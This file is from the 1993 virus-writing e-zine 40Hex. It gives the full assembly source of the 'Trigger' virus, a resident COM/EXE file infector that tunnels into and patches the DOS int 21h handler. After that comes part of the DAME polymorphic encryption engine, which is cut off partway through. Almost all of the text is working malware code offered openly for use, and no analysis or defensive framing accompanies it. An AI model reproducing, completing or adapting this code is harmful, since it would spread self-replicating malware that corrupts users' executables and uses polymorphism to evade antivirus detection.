home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-11.zip / 40HEX-11.003 < prev    next >
Text File  |  1993-06-01  |  49KB  |  1,873 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 003
  2.  
  3.                                 Trigger Virus
  4.  
  5.      This virus was written as a test virus for DAME, Dark Angel's Multiple
  6. Encryptor.  Trigger is a resident COM/EXE infector with tunneling capabilities.
  7. When it executes, it traces down the int 21h chain until it finds the original
  8. int 21h handler.  It then inserts code to jump to the virus, which returns
  9. control to the original int 21h handler after processing the request.
  10.  
  11.                                                 -- Dark Angel
  12.                                                    Phalcon/Skism 1993
  13.  
  14. -begin trigger.asm-------------------------------------------------------------
  15.         .model  tiny
  16.         .code
  17.         .radix  16
  18.         org     0
  19.  
  20.         viruslength     =       (heap - entry)
  21.         virussizeK      =       (endvirus - entry + 3ff) / 400
  22.         virussizepara   =       (virussizeK)*40
  23.  
  24.         EXE_ID          =       'PS'
  25.  
  26. entry:
  27.         call    past
  28. next:
  29.         db      0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
  30.         db      "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
  31.         db      0Dh,0A,0
  32.  
  33. checkstub       db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
  34.  
  35. past:   cld
  36.         pop     bp
  37.  
  38.         mov     ax,0cf0
  39.         mov     bx,'DA'
  40.         int     21
  41.         cmp     bx,'GH'
  42.         jnz     no_trigger
  43. trigger:
  44.         push    ds
  45.         push    es
  46.  
  47.         push    cs
  48.         pop     ds
  49.         xor     ax,ax
  50. checkagain:
  51.         lea     si,[bp+checkstub-next]
  52.         mov     es,ax
  53.         xor     di,di
  54.         mov     cx,8
  55.         rep     cmpsw
  56.         jz      trigger_it
  57.         inc     ax
  58.         cmp     ax,0a000
  59.         jb      checkagain
  60.         jmp     exit_trigger
  61. trigger_it:
  62.         mov     [bp+patch-next],ax
  63.         mov     ds,ax
  64.         mov     byte ptr ds:73,0cbh
  65.         push    bp
  66.         mov     bp,-80
  67.         jmp     short $+2
  68.         db      09a ; call far ptr
  69.         dw      1
  70. patch   dw      ?
  71.         pop     bp
  72.         mov     byte ptr ds:73,1f
  73. exit_trigger:
  74.         pop     es
  75.         pop     ds
  76.         jmp     short restore
  77.  
  78. no_trigger:
  79.         mov     ax,4b90
  80.         int     21
  81.         cmp     ax,bx
  82.         jz      restore
  83.  
  84.         push    ds
  85.         push    es
  86.  
  87.         mov     ax,ds
  88.         dec     ax
  89.         mov     ds,ax
  90.         sub     word ptr ds:3,virussizepara
  91.         sub     word ptr ds:12,virussizepara
  92.         mov     es,ds:12
  93.  
  94.         push    cs
  95.         pop     ds
  96.  
  97.         xor     di,di
  98.         lea     si,[bp+offset entry-offset next]
  99.         mov     cx,(viruslength + 1)/2
  100.         rep     movsw
  101.  
  102.         xor     ax,ax
  103.         mov     ds,ax
  104.         sub     word ptr ds:413,virussizeK
  105.  
  106.         mov     di,offset oldint21
  107.         mov     si,21*4
  108.         movsw
  109.         movsw
  110.  
  111.         cli
  112.  
  113.         pushf
  114.         pushf
  115.         pop     ax
  116.         or      ah,1
  117.         push    ax
  118.  
  119.         mov     ds:1*4+2,es
  120.         mov     word ptr ds:1*4,offset int1_1
  121.  
  122.         popf
  123.  
  124.         mov     ah,30
  125.         pushf
  126.         call    dword ptr ds:21*4
  127.  
  128.         popf
  129.  
  130.         lds     si,dword ptr es:oldint21
  131.         mov     di,si
  132.         lodsw
  133.         mov     word ptr es:int21patch1,ax
  134.         lodsw
  135.         mov     word ptr es:int21patch2,ax
  136.         lodsb
  137.         mov     byte ptr es:int21patch3,al
  138.  
  139.         push    ds ; es:di->int 21 handler
  140.         push    es
  141.         pop     ds ; ds->high segment
  142.         pop     es
  143.  
  144.         mov     al,0ea
  145.         stosb
  146.         mov     ax,offset int21
  147.         stosw
  148.         mov     ax,ds
  149.         stosw
  150.         sti
  151.  
  152.         pop     es
  153.         pop     ds
  154.  
  155. restore:
  156.         cmp     sp,-2
  157.         jnz     restoreEXE
  158. restoreCOM:
  159.         lea     si,[bp+readbuffer-next]
  160.         mov     di,100
  161.         push    di
  162.         movsw
  163.         movsw
  164.         ret
  165. restoreEXE:
  166.         mov     ax,ds
  167.         add     ax,10
  168.         add     cs:[bp+readbuffer+16-next], ax
  169.         add     ax,cs:[bp+readbuffer+0e-next]
  170.         mov     ss,ax
  171.         mov     sp,cs:[bp+readbuffer+10-next]
  172.         jmp     dword ptr cs:[bp+readbuffer+14-next]
  173.  
  174. readbuffer      dw 20cdh
  175.                 dw 0bh dup (?)
  176.  
  177. int1_1:
  178.         push    bp
  179.         mov     bp,sp
  180.         push    ax
  181.  
  182.         mov     ax, [bp+4]      ; get segment
  183.         cmp     ax, cs:oldint21+2
  184.         jae     exitint1
  185.         mov     cs:oldint21+2,ax
  186.         mov     ax, [bp+2]
  187.         mov     cs:oldint21,ax
  188. exitint1:
  189.         pop     ax
  190.         pop     bp
  191.         iret
  192.  
  193. int1_2:
  194.         push    bp
  195.         mov     bp,sp
  196.         push    ax
  197.  
  198.         mov     ax,cs
  199.         cmp     ax,[bp+4]
  200.         jz      exitint1
  201.  
  202.         mov     ax,[bp+4]
  203.         cmp     ax,cs:oldint21+2
  204.         jnz     int1_2_restore
  205.  
  206.         mov     ax,[bp+2]
  207.         cmp     ax,cs:oldint21
  208.         jb      int1_2_restore
  209.         sub     ax,5
  210.         cmp     ax,cs:oldint21
  211.         jbe     exitint1
  212. int1_2_restore:
  213.         push    es
  214.         push    di
  215.         cld
  216.         les     di,dword ptr cs:oldint21
  217.         mov     al,0ea
  218.         stosb
  219.         mov     ax,offset int21
  220.         stosw
  221.         mov     ax,cs
  222.         stosw
  223.         pop     di
  224.         pop     es
  225.  
  226.         and     [bp+6],0feff
  227.         jmp     exitint1
  228.  
  229. install:
  230.         mov     bx,ax
  231.         iret
  232. int21:
  233.         cmp     ax,4b90
  234.         jz      install
  235.  
  236.         push    ds
  237.         push    di
  238.         lds     di,dword ptr cs:oldint21
  239.         mov     word ptr ds:[di],1234
  240. int21patch1      =       $ - 2
  241.         mov     word ptr ds:[di+2],1234
  242. int21patch2      =       $ - 2
  243.         mov     byte ptr ds:[di+4],12
  244. int21patch3      =       $ - 1
  245.         pop     di
  246.         pop     ds
  247.  
  248.         cld
  249.  
  250.         cmp     ax,4b00
  251.         jz      infect
  252.  
  253. exitint21:
  254.         push    ds
  255.         push    ax
  256.  
  257.         xor     ax,ax
  258.         mov     ds,ax
  259.         cli
  260.         mov     word ptr ds:1*4,offset int1_2
  261.         mov     ds:1*4+2,cs
  262.         sti
  263.  
  264.         pushf
  265.         pop     ax
  266.         or      ah,1
  267.         push    ax
  268.         popf
  269.         pop     ax
  270.         pop     ds
  271.         db      0ea
  272. oldint21 dw     0, 0
  273.  
  274. callint21:
  275.         pushf
  276.         call    dword ptr cs:oldint21
  277.         ret
  278.  
  279. already_infected:
  280.         pop     dx
  281.         pop     cx
  282.         mov     ax,5701
  283.         call    callint21
  284.  
  285.         mov     ah,3e
  286.         call    callint21
  287. exitnoclose:
  288.         mov     ax,4301
  289.         pop     dx
  290.         pop     ds
  291.         pop     cx
  292.         call    callint21
  293.  
  294. exitinfect:
  295.         pop     es
  296.         pop     ds
  297.         pop     di
  298.         pop     si
  299.         pop     bp
  300.         pop     bx
  301.         pop     dx
  302.         pop     cx
  303.         pop     ax
  304.         jmp     exitint21
  305.  
  306. infect:
  307.         push    ax
  308.         push    cx
  309.         push    dx
  310.         push    bx
  311.         push    bp
  312.         push    si
  313.         push    di
  314.         push    ds
  315.         push    es
  316.  
  317.         mov     ax,4300
  318.         call    callint21
  319.         push    cx
  320.         push    ds
  321.         push    dx
  322.  
  323.         mov     ax,4301
  324.         xor     cx,cx
  325.         call    callint21
  326.  
  327.         mov     ax,3d02
  328.         call    callint21
  329.         jc      exitnoclose
  330.         xchg    ax,bx
  331.  
  332.         mov     ax,5700
  333.         int     21
  334.         push    cx
  335.         push    dx
  336.  
  337.         mov     ah,3f
  338.         mov     cx,18
  339.         push    cs
  340.         pop     ds
  341.         push    cs
  342.         pop     es
  343.         mov     dx,offset readbuffer
  344.         mov     si,dx
  345.         call    callint21
  346.         jc      already_infected
  347.  
  348.         mov     di,offset writebuffer
  349.         mov     cx,18/2
  350.  
  351.         push    si
  352.         push    di
  353.  
  354.         rep     movsw
  355.  
  356.         pop     di
  357.         pop     si
  358.  
  359.         mov     ax,4202
  360.         xor     cx,cx
  361.         cwd
  362.         int     21
  363.  
  364.         cmp     word ptr [di],'ZM'
  365.         jnz     infectCOM
  366.  
  367. infectEXE:
  368.         cmp     readbuffer+10,EXE_ID
  369. go_already_infected:
  370.         jz      already_infected
  371.  
  372.         mov     ds:writebuffer+4,ax
  373.         mov     ds:writebuffer+2,dx
  374.  
  375.         mov     cx,10
  376.         div     cx
  377.  
  378.         sub     ax,ds:writebuffer+8
  379.  
  380.         mov     ds:writebuffer+14,dx
  381.         mov     ds:writebuffer+16,ax
  382.  
  383.         xchg    cx,dx
  384.  
  385.         mov     ds:writebuffer+0e,ax
  386.         mov     ds:writebuffer+10,EXE_ID
  387.  
  388.         mov     al,10b
  389.         jmp     finishinfect
  390.  
  391. infectCOM: ; si = readbuffer, di = writebuffer
  392.         push    ax
  393.  
  394.         mov     cx,4
  395.         xor     dx,dx
  396. check_infection_loop:
  397.         lodsb
  398.         add     dl,al
  399.         loop    check_infection_loop
  400.  
  401.         pop     ax
  402.  
  403.         or      dl,dl
  404.         jz      go_already_infected
  405.  
  406.         mov     dx,18
  407.         cmp     ax,dx
  408.         jnb     no_fixup_com
  409.  
  410.         mov     ax,4200
  411.         xor     cx,cx
  412.         int     21
  413. no_fixup_com:
  414.         mov     cx,ax
  415.         inc     ch      ; add cx,100
  416.         sub     ax,3
  417.         push    ax
  418.         mov     al,0e9
  419.         stosb
  420.         pop     ax
  421.         stosw
  422.         add     al,ah
  423.         add     al,0e9
  424.         neg     al
  425.         stosb
  426.  
  427.         mov     al,11b
  428. finishinfect:
  429.         cbw
  430. ; ax = bitmask
  431. ; bx = start decrypt in carrier file
  432. ; cx = encrypt length
  433. ; dx = start encrypt in virus
  434. ; si = buffer to put decryption routine
  435. ; di = buffer to put encryption routine
  436.         push    bx
  437.  
  438.         xchg    cx,bx
  439.  
  440.         xor     si,si
  441.         mov     di,offset copyvirus
  442.         mov     cx,(heap-entry+1)/2
  443.         rep     movsw
  444.  
  445.         push    ax
  446.         call    rnd_init_seed
  447.         pop     ax
  448.  
  449.         mov     dx,offset copyvirus
  450.         mov     cx,viruslength
  451.         mov     si,offset _decryptbuffer
  452.         mov     di,offset _encryptbuffer
  453.         call    dame
  454.  
  455.         push    cx
  456.  
  457.         cmp     ds:writebuffer,'ZM'
  458.         jnz     no_fix_header
  459.  
  460.         mov     dx,ds:writebuffer+2
  461.         mov     ax,ds:writebuffer+4
  462.         add     cx,viruslength
  463.         add     ax,cx
  464.         adc     dx,0
  465.         mov     cx,200
  466.         div     cx
  467.         or      dx,dx
  468.         jz      nohiccup
  469.         inc     ax
  470. nohiccup:
  471.         mov     ds:writebuffer+4,ax
  472.         mov     ds:writebuffer+2,dx
  473. no_fix_header:
  474.         call    di
  475.         pop     cx
  476.  
  477.         pop     bx
  478.  
  479.         mov     ah,40
  480.         mov     dx,offset _decryptbuffer
  481.         call    callint21
  482.  
  483.         mov     ah,40
  484.         mov     cx,viruslength
  485.         mov     dx,offset copyvirus
  486.         call    callint21
  487.  
  488.         mov     ax,4200
  489.         xor     cx,cx
  490.         cwd
  491.         int     21
  492.  
  493.         mov     ah,40
  494.         mov     cx,18
  495.         mov     dx,offset writebuffer
  496.         call    callint21
  497.         jmp     already_infected
  498.  
  499. vars = 0
  500. include dame.asm
  501.  
  502. heap:
  503. vars = 1
  504. include dame.asm
  505.  
  506. writebuffer             dw       0c dup (?)
  507. _encryptbuffer:         db       80 dup (?)
  508. _decryptbuffer:         db      180 dup (?)
  509. copyvirus               db      viruslength dup (?)
  510.                         db      20 dup (?)
  511. endvirus:
  512.  
  513. end entry
  514. -end trigger.asm----begin dame.asm---------------------------------------------
  515. ifndef vars
  516. vars = 2
  517. endif
  518.  
  519. if vars eq 1
  520. else
  521.  
  522. _ax = 0
  523. _cx = 1
  524. _dx = 2
  525. _bx = 3
  526. _sp = 4
  527. _bp = 5
  528. _si = 6
  529. _di = 7
  530.  
  531. _es = 8
  532. _cs = 9
  533. _ss = 0a
  534. _ds = 0bh
  535.  
  536. MAXNEST = 0a            ; controls recursion problems
  537.  
  538. ; ax = flags
  539. ;       15 : Reserved
  540. ;       14 : 0 = word, 1 = dword
  541. ;       13 : encryption direction : 0 = forwards, 1 = backwards
  542. ;       12 : counter direction : 0 = forwards, 1 = backwards
  543. ;       11 :    ^
  544. ;       10 :    R
  545. ;        9 :    E
  546. ;        8 :    S
  547. ;        7 :    E
  548. ;        6 :    R
  549. ;        5 :    V
  550. ;        4 :    E
  551. ;        3 :    D
  552. ;        2 :    v
  553. ; DAME sets the above bits
  554. ;
  555. ; Virus sets the following bits:
  556. ;        1 : garble : 1 = yes, 0 = no
  557. ;        0 : DS = CS : 1 = yes, 0 = no
  558. ; bx = start decrypt in carrier file
  559. ; cx = encrypt length
  560. ; dx = start encrypt
  561. ; si = buffer to put decryption routine
  562. ; di = buffer to put encryption routine
  563. ; ds = current cs
  564. ; es = current cs
  565.  
  566. ; Returns:
  567. ;  cx = decryption routine length
  568. ;  all other registers are preserved.
  569.  
  570. rnd_init_seed:
  571.         push    dx
  572.         push    cx
  573.         push    bx
  574.         mov     ah,2C                   ; get time
  575.         int     21
  576.  
  577.         in      al,40                   ; port 40h, 8253 timer 0 clock
  578.         mov     ah,al
  579.         in      al,40                   ; port 40h, 8253 timer 0 clock
  580.         xor     ax,cx
  581.         xor     dx,ax
  582.         jmp     short rnd_get_loop_done
  583. get_rand:
  584.         push    dx
  585.         push    cx
  586.         push    bx
  587.         in      al,40                   ; get from timer 0 clock
  588.         db      5 ; add ax, xxxx
  589. rnd_get_patch1  dw      0
  590.                 db      0BA  ; mov dx, xxxx
  591. rnd_get_patch2  dw      0
  592.         mov     cx,7
  593.  
  594. rnd_get_loop:
  595.         shl     ax,1
  596.         rcl     dx,1
  597.         mov     bl,al
  598.         xor     bl,dh
  599.         jns     rnd_get_loop_loc
  600.         inc     al
  601. rnd_get_loop_loc:
  602.         loop    rnd_get_loop
  603.  
  604. rnd_get_loop_done:
  605.         mov     rnd_get_patch1,ax
  606.         mov     rnd_get_patch2,dx
  607.         mov     al,dl
  608.         pop     bx
  609.         pop     cx
  610.         pop     dx
  611.         retn
  612.  
  613. reg_xlat_table:
  614.         db      10000111b ; bx
  615.         db      0         ; sp
  616.         db      10000110b ; bp
  617.         db      10000100b ; si
  618.         db      10000101b ; di
  619.  
  620. aligntable      db      3,7,0f,1f
  621.  
  622. redo_dame:
  623.         pop     di
  624.         pop     si
  625.         pop     dx
  626.         pop     cx
  627.         pop     bx
  628.         pop     ax
  629. dame:   ; Dark Angel's Multiple Encryptor
  630.         cld
  631.         push    ax
  632.         push    bx
  633.         push    cx
  634.         push    dx
  635.         push    si
  636.         push    di
  637.         call    _dame
  638.         pop     di
  639.         pop     si
  640.         pop     dx
  641.         pop     bx ; return value in cx
  642.         pop     bx
  643.         pop     ax
  644.         ret
  645.  
  646. _dame:
  647. ; set up variables
  648.         cld
  649.  
  650.         push    ax
  651.  
  652.         mov     ax,offset _encryptpointer
  653.         xchg    ax,di           ; pointer to encryption routine buffer
  654.         stosw
  655.         xchg    si,ax           ; pointer to decryption routine buffer
  656.         stosw
  657.  
  658.         stosw
  659.  
  660.         xchg    ax,dx           ; starting offset of encryption
  661.         stosw
  662.         xchg    ax,bx           ; starting offset of decryption routine
  663.         stosw
  664.  
  665.         xchg    cx,dx           ; dx = encrypt size
  666.  
  667.         call    clear_used_regs
  668.         mov     cx,(endclear1 - beginclear1) / 2
  669.         rep     stosw
  670.  
  671.         call    get_rand
  672.         and     ax,not 3
  673.  
  674.         pop     cx
  675.         xor     cx,ax           ; cx = bitmask
  676.  
  677.         call    get_rand_bx
  678.         and     bx,3
  679.         mov     al,byte ptr [bx+aligntable]
  680.         cbw
  681.         add     dx,ax           ; round up
  682.         not     ax
  683.         and     dx,ax
  684.  
  685.         mov     ax,dx           ; new encryption length
  686.         stosw                   ; _encrypt_length
  687.  
  688.         shr     ax,1
  689.         test    ch,40 ; dword?
  690.         jz      word_encryption
  691.         shr     ax,1
  692. word_encryption:
  693.         test    ch,10
  694.         jnz     counter_backwards
  695.         neg     ax
  696. counter_backwards:
  697.         stosw                   ; _counter_value
  698.  
  699.         xchg    ax,dx           ; get encryption length in bytes
  700.  
  701.         test    ch,20
  702.         jnz     encrypt_forwards
  703.         neg     ax              ; pointer to start of decryption
  704. encrypt_forwards:
  705.         stosw                   ; _pointer_value
  706.  
  707.         call    get_rand
  708.         stosw                   ; encryption value = _decrypt_value
  709.  
  710.         mov     ax,8484
  711.         stosb
  712.         push    di
  713.         stosw
  714.         stosb
  715.         pop     di
  716.  
  717.         call    one_in_two
  718.         js      s1
  719.         call    get_another
  720.         stosb
  721.         call    get_rand
  722.         mov     _pointer_value,ax
  723.         dec     di
  724. s1:
  725.         inc     di
  726.  
  727.         jmp     short gbxoh_skip
  728. get_bx_or_higher:
  729.         call    clear_reg
  730. gbxoh_skip:
  731.         call    get_another
  732.         cmp     al,_bx
  733.         jb      get_bx_or_higher
  734.         stosb                   ; _pointer_reg
  735.  
  736.         call    one_in_two
  737.         js      s2
  738.         call    get_another
  739.         stosb                   ; _encrypt_reg
  740. s2:
  741.  
  742. ; encode setup part of decryption
  743.         call    clear_used_regs
  744. encode_setup:
  745.         mov     di,_decryptpointer
  746.         call    twogarble
  747.  
  748.         mov     si,offset _dummy_reg
  749.         push    si
  750. encode_setup_get_another:
  751.         call    get_rand_bx
  752.         and     bx,3
  753.         mov     al,[si+bx]
  754.         cbw
  755.         test    al,80
  756.         jnz     encode_setup_get_another
  757.         or      byte ptr [bx+_dummy_reg],80
  758.         mov     si,ax
  759.         inc     byte ptr [si+offset _used_regs]
  760.  
  761.         add     bx,bx
  762.         mov     dx,word ptr [bx+_counter_value-2]
  763.  
  764.         mov     _nest,0
  765.         call    mov_reg_xxxx
  766.         call    twogarble
  767.         call    swap_decrypt_encrypt
  768.  
  769.         push    cx
  770.         and     cl,not 3
  771.         call    _mov_reg_xxxx
  772.         pop     cx
  773.  
  774.         mov     _encryptpointer,di
  775.  
  776.         pop     si
  777.         mov     dx,4
  778. encode_setup_check_if_done:
  779.         lodsb
  780.         test    al,80
  781.         jz      encode_setup
  782.         dec     dx
  783.         jnz     encode_setup_check_if_done
  784.  
  785.         mov     si,offset _encryptpointer
  786.         mov     di,offset _loopstartencrypt
  787.         movsw
  788.         movsw
  789.  
  790. ; encode decryption part of loop
  791.         mov     _relocate_amt,0
  792.         call    do_encrypt1
  793.         test    ch,40
  794.         jz      dont_encrypt2
  795.  
  796.         mov     _relocate_amt,2
  797.         call    do_encrypt1
  798. dont_encrypt2:
  799.         mov     bx,offset _loopstartencrypt
  800.         push    cx
  801.         and     cl,not 3
  802.         call    encodejmp
  803.         pop     cx
  804.  
  805.         mov     ax,0c3fc ; cld, ret
  806.         stosw
  807.  
  808.         mov     si,offset _encrypt_relocator
  809.         mov     di,_start_encrypt
  810.  
  811.         push    cx
  812.         call    relocate
  813.         pop     cx
  814.  
  815.         mov     bx,offset _loopstartdecrypt
  816.         call    encodejmp
  817.         call    fourgarble
  818.         mov     _decryptpointer,di
  819.  
  820.         mov     si,offset _decrypt_relocator
  821.         sub     di,_decryptpointer2
  822.         add     di,_start_decrypt
  823. relocate:
  824.         test    ch,20
  825.         jz      do_encrypt_backwards
  826.         add     di,_encrypt_length
  827. do_encrypt_backwards:
  828.         sub     di,_pointer_value
  829.         mov     cx,word ptr [si-2]
  830.         jcxz    exit_relocate
  831.         xchg    ax,di
  832. relocate_loop:
  833.         xchg    ax,di
  834.         lodsw
  835.         xchg    ax,di
  836.         add     [di],ax
  837.         loop    relocate_loop
  838. exit_relocate:
  839.         mov     di,_decryptpointer
  840.         mov     cx,di
  841.         sub     cx,_decryptpointer2
  842.         ret
  843.  
  844. do_encrypt1:
  845.         call    playencrypt
  846.         call    encryption
  847.         call    playencrypt
  848.         ret
  849.  
  850. encodejmp:
  851.         mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]
  852.  
  853.         push    bx
  854.         mov     _nest,0
  855.         mov     al,_pointer_reg
  856.         and     ax,7
  857.         mov     dx,2
  858.         test    ch,40
  859.         jz      update_pointer1
  860.         shl     dx,1
  861. update_pointer1:
  862.         test    ch,20
  863.         jz      update_pointer2
  864.         neg     dx
  865. update_pointer2:
  866.         call    add_reg_xxxx
  867.  
  868.         mov     dl,75   ; jnz
  869.  
  870.         mov     al,_counter_reg
  871.         and     ax,7
  872.         cmp     al,_sp
  873.         jz      do_jnz
  874.  
  875.         push    dx
  876.         mov     dx,1
  877.  
  878.         test    ch,10 ; check counter direction
  879.         jz      go_counter_forwards
  880.  
  881.         cmp     al,_cx
  882.         jnz     regular
  883.         call    one_in_two
  884.         js      regular
  885.  
  886.         pop     dx
  887.         call    get_rand_bx
  888.         xchg    bx,dx
  889.         and     dl,2
  890.         or      dl,0e0  ; loop/loopnz
  891.         jmp     short do_jnz
  892. regular:
  893.         neg dx
  894. go_counter_forwards:
  895.         call    add_reg_xxxx
  896.         pop     dx
  897. do_jnz:
  898.         pop     bx
  899.         mov     ax,[bx]
  900.         sub     ax,di
  901.         dec     ax
  902.         dec     ax
  903.         xchg    ah,al
  904.         mov     al,dl   ; jnz
  905.  
  906.         test    ah,80
  907.         jnz     jmplocation_okay
  908.  
  909.         pop     ax
  910.         pop     ax
  911.         jmp     redo_dame
  912. jmplocation_okay:
  913.         stosw
  914.         mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
  915.         ret
  916.  
  917. swap_decrypt_encrypt:
  918.         mov     _nest,MAXNEST
  919.         mov     _decryptpointer,di
  920.         mov     di,_encryptpointer
  921.         ret
  922.  
  923. playencrypt:
  924.         mov     di,_decryptpointer
  925.         call    twogarble
  926.  
  927.         mov     al,_encrypt_reg
  928.         and     ax,7
  929.         cmp     al,4    ; is there an encryption register?
  930.         jz      swap_decrypt_encrypt
  931.  
  932.         call    get_rand_bx     ; 3/4 chance of doing something
  933.         cmp     bl,0c0
  934.         ja      swap_decrypt_encrypt
  935.  
  936.         call    _playencrypt
  937.         call    handle_jmp_table_nogarble
  938. finish_encryption:
  939.         call    swap_decrypt_encrypt
  940.         push    cx
  941.         and     cl,not 3
  942.         call    [bx+si+1]
  943.         pop     cx
  944.         mov     _encryptpointer,di
  945.         ret
  946.  
  947. _playencrypt:
  948.         mov     _nest,0
  949.         call    one_in_two
  950.         js      get_used_register
  951.  
  952.         call    get_rand_bx
  953.         mov     si,offset oneregtable
  954.         jmp     short continue_playencrypt
  955.  
  956. get_used_register:
  957.         call    get_rand_bx
  958.         and     bx,7
  959.         cmp     bl,_sp
  960.         jz      get_used_register
  961.         cmp     byte ptr [bx+_used_regs],0
  962.         jz      get_used_register
  963.         mov     si,offset tworegtable
  964. continue_playencrypt:
  965.         xchg    dx,bx
  966.         ret
  967.  
  968. encryption:
  969.         mov     di,_decryptpointer
  970.         call    twogarble
  971.         mov     al,_pointer_reg
  972.         and     ax,7
  973.         mov     bx,offset reg_xlat_table-3
  974.         xlat
  975.  
  976.         mov     bp,offset _decrypt_relocate_num
  977.         call    _playencrypt
  978.         call    go_next
  979.         call    handle_jmp_table_nogarble
  980.  
  981.         mov     bp,offset _encrypt_relocate_num
  982.         call    go_next
  983.         jmp     short finish_encryption
  984.  
  985. go_next:
  986.         push    ax
  987.         lodsb
  988.         cbw
  989.         add     si,ax
  990.         pop     ax
  991.         inc     si
  992.         inc     si
  993.         ret
  994.  
  995. clear_used_regs:
  996.         xor     ax,ax
  997.         mov     di,offset _used_regs
  998.         stosw
  999.         stosw
  1000.         inc     ax
  1001.         stosw
  1002.         dec     ax
  1003.         stosw
  1004.         ret
  1005.  
  1006. get_another:
  1007.         call    get_rand
  1008.         and     ax,7
  1009.         mov     si,ax
  1010.         cmp     [si+_used_regs],0
  1011.         jnz     get_another
  1012.         inc     [si+_used_regs]
  1013.         ret
  1014.  
  1015. clear_reg_dx:
  1016.         xchg    ax,dx
  1017. clear_reg:
  1018.         mov     si,ax
  1019.         mov     byte ptr [si+_used_regs],0
  1020.         ret
  1021.  
  1022. free_regs:      ; check for free registers
  1023.                 ; zero flag if OK
  1024.         push    ax
  1025.         push    cx
  1026.         push    di
  1027.         mov     di,offset _used_regs
  1028.         mov     cx,8
  1029.         xor     ax,ax
  1030.         repne   scasb
  1031.         pop     di
  1032.         pop     cx
  1033.         pop     ax
  1034.         ret
  1035.  
  1036. one_in_two:
  1037.         push    ax
  1038.         call    get_rand
  1039.         or      ax,ax
  1040.         pop     ax
  1041.         ret
  1042.  
  1043. get_rand_bx:
  1044.         xchg    ax,bx
  1045.         call    get_rand
  1046.         xchg    ax,bx
  1047. return:
  1048.         ret
  1049.  
  1050. fourgarble:
  1051.         call    twogarble
  1052. twogarble:
  1053.         mov     _nest,0
  1054.         call    garble
  1055. garble: ; ax, dx preserved
  1056.         call    free_regs
  1057.         jne     return
  1058.  
  1059.         test    cl,2
  1060.         jz      return
  1061.  
  1062.         push    ax
  1063.         push    dx
  1064.  
  1065.         call    get_rand                ; random # to dx
  1066.         xchg    ax,dx
  1067.         call    get_another             ; random reg in al
  1068.         call    clear_reg               ; don't mark as used
  1069.  
  1070.         mov     si,offset garbletable
  1071.         jmp     short handle_jmp_table_nopush_ax_dx
  1072.  
  1073. handle_jmp_table: ; ax,dx preserved
  1074.         push    si
  1075.         call    garble
  1076.         pop     si
  1077. handle_jmp_table_nogarble:
  1078.         push    ax
  1079.         push    dx
  1080. handle_jmp_table_nopush_ax_dx:
  1081.         push    si
  1082.  
  1083.         push    cx
  1084.         xchg    ax,cx
  1085.         lodsb           ; get mask value
  1086.         cbw
  1087.         xchg    ax,cx
  1088.         call    get_rand_bx
  1089.         and     bx,cx
  1090.         pop     cx
  1091.  
  1092.         inc     _nest
  1093.         cmp     _nest,MAXNEST
  1094.         jb      not_max_nest
  1095.         xor     bx,bx
  1096. not_max_nest:
  1097.         push    bx
  1098.         call    [bx+si]
  1099.         pop     bx
  1100.         pop     si
  1101.         pop     dx
  1102.         pop     ax
  1103.  
  1104.         ret
  1105.  
  1106. garble_tworeg:
  1107.         mov     si,offset tworegtable
  1108.         and     dx,7
  1109.         jmp     short handle_jmp_table_nogarble
  1110. garble_onereg:
  1111.         mov     si,offset oneregtable
  1112.         jmp     short handle_jmp_table_nogarble
  1113. garble_onebyte:
  1114.         xchg    ax,dx
  1115.         and     al,7
  1116.         mov     bx,offset onebytetable
  1117.         xlat
  1118.         stosb
  1119.         ret
  1120. garble_jmpcond:
  1121.         xchg    ax,dx
  1122.         and     ax,0f
  1123.         or      al,70
  1124.         stosw
  1125.         ret
  1126.  
  1127. _push:
  1128.         or      al,al
  1129.         js      _push_mem
  1130.         add     al,50
  1131.         stosb
  1132.         ret
  1133. _push_mem:
  1134.         add     ax,0ff30
  1135.         jmp     short go_mod_xxx_rm1
  1136.  
  1137. _pop:
  1138.         or      al,al
  1139.         js      _pop_mem
  1140.         add     al,58
  1141.         stosb
  1142.         ret
  1143. _pop_mem:
  1144.         mov     ah,8f
  1145. go_mod_xxx_rm1:
  1146.         jmp     mod_xxx_rm
  1147.  
  1148. mov_reg_xxxx:
  1149.         mov     si,offset mov_reg_xxxx_table
  1150. go_handle_jmp_table1:
  1151.         jmp     short handle_jmp_table
  1152.  
  1153. _mov_reg_xxxx_mov_add:
  1154.         call    get_rand_bx
  1155.         push    bx
  1156.         sub     dx,bx
  1157.         call    mov_reg_xxxx
  1158.         pop     dx
  1159.         jmp     short go_add_reg_xxxx
  1160.  
  1161. _mov_reg_xxxx_mov_al_ah:
  1162.         cmp     al,_sp
  1163.         jae     _mov_reg_xxxx
  1164.         push    ax
  1165.         push    dx
  1166.         call    _mov_al_xx
  1167.         pop     dx
  1168.         pop     ax
  1169.         xchg    dh,dl
  1170.         jmp     short _mov_ah_xx
  1171.  
  1172. _mov_reg_xxxx_mov_xor:
  1173.         call    get_rand_bx
  1174.         push    bx
  1175.         xor     dx,bx
  1176.         call    mov_reg_xxxx
  1177.         pop     dx
  1178.         jmp     xor_reg_xxxx
  1179.  
  1180. _mov_reg_xxxx_xor_add:
  1181.         push    dx
  1182.         mov     dx,ax
  1183.         call    xor_reg_reg
  1184.         pop     dx
  1185. go_add_reg_xxxx:
  1186.         jmp     add_reg_xxxx
  1187.  
  1188. _mov_reg_xxxx_mov_rol:
  1189.         ror     dx,1
  1190.         call    mov_reg_xxxx
  1191.         jmp     short _rol
  1192.  
  1193. _mov_reg_xxxx_mov_ror:
  1194.         rol     dx,1
  1195.         call    mov_reg_xxxx
  1196. _ror:
  1197.         or      al,8
  1198. _rol:
  1199.         mov     ah,0d1
  1200.         jmp     mod_xxx_rm
  1201.  
  1202.  
  1203. _mov_reg_xxxx:
  1204.         add     al,0B8
  1205.         stosb
  1206.         xchg    ax,dx
  1207.         stosw
  1208.         ret
  1209.  
  1210. mov_ah_xx:
  1211. _mov_ah_xx:
  1212.         add     al,04
  1213. mov_al_xx:
  1214. _mov_al_xx:
  1215.         add     al,0B0
  1216.         mov     ah,dl
  1217.         stosw
  1218.         ret
  1219.  
  1220. mov_reg_reg:
  1221.         mov     si,offset mov_reg_reg_table
